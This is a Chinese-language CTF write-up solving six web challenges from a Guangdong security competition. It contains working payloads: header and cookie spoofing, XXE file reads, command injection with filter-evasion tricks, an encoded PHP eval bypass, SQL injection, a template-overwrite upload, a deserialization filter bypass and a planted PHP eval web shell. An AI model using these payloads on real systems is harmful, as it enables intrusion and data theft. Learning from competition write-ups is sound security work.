第三届广东省强网杯网络安全大赛WEB题writeup

第三届广东省强网杯网络安全大赛WEB题writeup_第1张图片

1. 小明又被拒绝了

第三届广东省强网杯网络安全大赛WEB题writeup_第2张图片
直接访问根目录,报403错误
第三届广东省强网杯网络安全大赛WEB题writeup_第3张图片

一般是做了ip限制,加上 X-Forwarded-For 头即可绕过
第三届广东省强网杯网络安全大赛WEB题writeup_第4张图片

接着又提示不是管理员,仔细看响应头的 Set-Cookie ,有个 admin=0 ,很明显是通过Cookie来判断是否是管理员,直接在请求中加个 Cookie:admin=1 即可绕过,获取flag. 第三届广东省强网杯网络安全大赛WEB题writeup_第5张图片

2.XX?

第三届广东省强网杯网络安全大赛WEB题writeup_第6张图片

直接访问根目录,发现是个百度页面,看了下源码,没什么异常。

第三届广东省强网杯网络安全大赛WEB题writeup_第7张图片

访问下 index.php ,发现有点东西,尝试访问几个常见备份文件后缀,没有特别的发现。仔细看了下,发现标题是 gedit ,猜想是 gedit 的备份文件, 通过 index.php~ 获取备份源码。
第三届广东省强网杯网络安全大赛WEB题writeup_第8张图片第三届广东省强网杯网络安全大赛WEB题writeup_第9张图片
第三届广东省强网杯网络安全大赛WEB题writeup_第10张图片
源码中通过 php://input 获取 POST 请求中的内容,然后把内容作为 xml 解释, 猜想应该是XXE 漏洞利用。根据参数名构造以下 XML 数据发送到服务器。


adminpass

发现可以回显用户名。

第三届广东省强网杯网络安全大赛WEB题writeup_第11张图片

使用以下 XXE payload 可读取 /etc/passwd 文件


]>
&xxe;

第三届广东省强网杯网络安全大赛WEB题writeup_第12张图片

尝试读取/flag, /etc/flag, 都不存在。然后尝试读取 index.php , 但不知道网站根目录路径
第三届广东省强网杯网络安全大赛WEB题writeup_第13张图片

接着也发现根目录有 flag.php 文件
第三届广东省强网杯网络安全大赛WEB题writeup_第14张图片
查了一下,发现可以通过 php://filter/ 来读取当前目录下的文件。于是构造以下 XXE payload 即可读取 flag.php


]>
&xxe;

第三届广东省强网杯网络安全大赛WEB题writeup_第15张图片

3. 免费的,ping 一下~

第三届广东省强网杯网络安全大赛WEB题writeup_第16张图片

打开首页,发现可以输入 ip ,然后 ping 该 ip,这种一般会有命令注入
第三届广东省强网杯网络安全大赛WEB题writeup_第17张图片

把参数的值设置成 ;ls; 成功列出了当前目录的文件。

第三届广东省强网杯网络安全大赛WEB题writeup_第18张图片

尝试列出根目录,发现被拦截了,经过几次尝试,发现命令加一个空格会被拦截。查了下空格绕过,发现可以使用 $IF$$9${IFS} 来代替空格。成功执行 ls 命令。

第三届广东省强网杯网络安全大赛WEB题writeup_第19张图片
第三届广东省强网杯网络安全大赛WEB题writeup_第20张图片
发现在根目录有 flag 文件,尝试读取,但读取文件的命令如 cat 、head 、tail 等命令被拦截了,同时 flag 关键词也被拦截了。查了下,发现可以通过在命令中间加两个双引号绕过。

使用 c"“at${IFS}/fl”"ag 读取 flag 文件,提示 flag 不在第一行

第三届广东省强网杯网络安全大赛WEB题writeup_第21张图片

可以使用tail /flag -n +3 的方式来读取第3行的内容

第三届广东省强网杯网络安全大赛WEB题writeup_第22张图片

最后通过 burp 爆破,发现 flag 在第16行。

第三届广东省强网杯网络安全大赛WEB题writeup_第23张图片

4. php

第三届广东省强网杯网络安全大赛WEB题writeup_第24张图片

访问首页,是 Apache 默认界面。

第三届广东省强网杯网络安全大赛WEB题writeup_第25张图片

访问 index.php ,给出了源码, 源码中获取 code 参数的内容, 然后把 code 参数的内容传进 eval 中执行。理论上只要把 code 的值设置成 GetYourFlag() 即可获取 flag, 但在执行之前做了过滤,如果内容是字母,数字,下划线等特殊字符,则拒绝执行。

第三届广东省强网杯网络安全大赛WEB题writeup_第26张图片

查了下,发现 p 神的文章里面说到可以通过 (‘phpinfo’)(); 的方式来执行字符串的代码。然后通过特殊字符取反来构造字母,如 ~ 0xb8 的值刚好是字母 G 。通过下面的方式生成 GetYourFlag 取反的十六进制值。
第三届广东省强网杯网络安全大赛WEB题writeup_第27张图片
第三届广东省强网杯网络安全大赛WEB题writeup_第28张图片

然后在输出的十六进制字符串的每两个字符前加上 % 来构造 URL 编码的特殊字符串,最后的 payload 如下:
http://119.61.19.212:8082/index.php?code=(~%b8%9a%8b%a6%90%8a%8d%b9%93%9e%98)()
第三届广东省强网杯网络安全大赛WEB题writeup_第29张图片

5. 找漏洞

第三届广东省强网杯网络安全大赛WEB题writeup_第30张图片

下载源码压缩包,然后访问首页
第三届广东省强网杯网络安全大赛WEB题writeup_第31张图片

查看首页源码发现 /login 登录页面
第三届广东省强网杯网络安全大赛WEB题writeup_第32张图片

没登录账号,查看源码找下思路,发现 UserFactory.php 文件的注释里面有个密码,但不知道账号是什么。

第三届广东省强网杯网络安全大赛WEB题writeup_第33张图片

在 web.php 下面发现以下路由, 打开相应的 php 文件查看

第三届广东省强网杯网络安全大赛WEB题writeup_第34张图片

发现 UserController.php 中有个 SQL 注入
第三届广东省强网杯网络安全大赛WEB题writeup_第35张图片

根据上面的路由构造以下 URL 获取所有用户的账号密码。

http://119.61.19.212:8085/user_testpage/1’%20or%20’a’='a
第二个账号的邮箱提示A Hint=key,后面会有用。通过尝试,可以使用以下账号密码登录[email protected]/secertheretola
第三届广东省强网杯网络安全大赛WEB题writeup_第36张图片
第三届广东省强网杯网络安全大赛WEB题writeup_第37张图片
第三届广东省强网杯网络安全大赛WEB题writeup_第38张图片
登录后尝试访问 HomeController.php 中路由的路径。

第三届广东省强网杯网络安全大赛WEB题writeup_第39张图片

http://119.61.19.212:8085/home/uploadto_upload
该地址的源码有个 _token 值,后面又有用。。。
第三届广东省强网杯网络安全大赛WEB题writeup_第40张图片

接着发现 uploadss 方法可以上传文件,但前提是 key 值要正确,这个 key 值就是上面第二个用户的用户名。上传的 URL 地址如下:http://119.61.19.212:8085/home/uploadss/NotAllow6171

构造个上传表单进行上传,提示页面过期了
第三届广东省强网杯网络安全大赛WEB题writeup_第41张图片

在上传表单中加入上面请求获取的 _token, 最后构造以下上传表单进行上传:



第三届广东省强网杯网络安全大赛WEB题writeup_第42张图片

上传后提示 hack, 应该是过滤了文件的内容
第三届广东省强网杯网络安全大赛WEB题writeup_第43张图片
发现内容只要有php关键字即拦截。 回头看下剩下一个没被利用的路由
第三届广东省强网杯网络安全大赛WEB题writeup_第44张图片
第三届广东省强网杯网络安全大赛WEB题writeup_第45张图片

发现访问 http://119.61.19.212:8085/home/profile 可以访问 show() 方法,该方法会加载 auth.uploads.template 模板, 该模板刚好是位于上传的目录中:
第三届广东省强网杯网络安全大赛WEB题writeup_第46张图片

可以猜到是上传文件覆盖该模板来获取 flag, 现在还有一个问题是不能上传 php 代码。

继续翻源码,发现 AppServiceProvider.php 中有一段代码有 file_get_contents() 函数,查了下,是个自定义指令,可以在模板中通过 @filedata 来获取文件的内容。
第三届广东省强网杯网络安全大赛WEB题writeup_第47张图片
最后只需把上传文件名设置成 template.blade.php ,内容设置成 @filedata(’/flag’) ,然后访问 /home/profile 即可读取 flag

第三届广东省强网杯网络安全大赛WEB题writeup_第48张图片
第三届广东省强网杯网络安全大赛WEB题writeup_第49张图片

6. api

api 这题只给了个地址,直接访问,未发现什么,然后访问 /api/ 提示 POST filename 参数。
第三届广东省强网杯网络安全大赛WEB题writeup_第50张图片

直接 POST filename 参数提示 json 解析错误
第三届广东省强网杯网络安全大赛WEB题writeup_第51张图片
经尝试,可以通过以下方式传递参数:
第三届广东省强网杯网络安全大赛WEB题writeup_第52张图片

尝试读取上级目录的 index.php
第三届广东省强网杯网络安全大赛WEB题writeup_第53张图片
根目录的 index.php 包含了 hack.php ,然后接收 flag 参数的值来进行反序列化 。这里存在反序列化漏洞。
继续读取 hack.php
第三届广东省强网杯网络安全大赛WEB题writeup_第54张图片

hack.php 中的 readfile() 函数会读取 $file 变量中指定的文件。同时在注释中提示了读取 fffffaa_not.php 文件,所以只需要构造以下反序列化对象作为 flag 的值即可读取 fffffaa_not.php 的内容:

O:4:“hack”:1:{s:4:“file”;s:15:“fffffaa_not.php”;}

但在 index.php 中有对反序列化内容过滤

第三届广东省强网杯网络安全大赛WEB题writeup_第55张图片

查了下,可以在O: 后面添加一个加号来绕过,payload如下:
O:+4:“hack”:1:{s:4:“file”;s:15:“fffffaa_not.php”;}http://119.61.19.212:8086/?flag=O%3a%2b4%3a"hack"%3a1%3a{s%3a4%3a"file"%3bs%3a15%3a"fffffaa_not.php"%3b}
第三届广东省强网杯网络安全大赛WEB题writeup_第56张图片

查看 fffffaa_not.php 的代码,发现获取参数 jhh08881111jn 的值作为内容,file_na 的值作为文件名来上传文件到 uploads 目录中。其中做了文件内容检查,不能有 [< 这些符号, 可以通过把参数设置成数组来绕过 jhh08881111jn[], payload 如下
http://119.61.19.212:8086/fffffaa_not.php?jhh08881111jn[]=<%3fphp+@eval($_POST[cmd])%3b%3f>&file_na=1234
第三届广东省强网杯网络安全大赛WEB题writeup_第57张图片

访问uploads/1234.php,想执行命令,发现 500 错误,然后执行 phpinfo(), 发现禁用了危险函数:
第三届广东省强网杯网络安全大赛WEB题writeup_第58张图片
这里可以直接使用 scandir() 函数来列目录,然后通过 file_get_contents() 函数来读取文件。

第三届广东省强网杯网络安全大赛WEB题writeup_第59张图片

发现 flag 在 /f1ag_ahajjdhh11qwe 上,通过 file_get_contents() 读取:

第三届广东省强网杯网络安全大赛WEB题writeup_第60张图片

本文章也在我的公众号发布、
第三届广东省强网杯网络安全大赛WEB题writeup_第61张图片

你可能感兴趣的:(Web安全)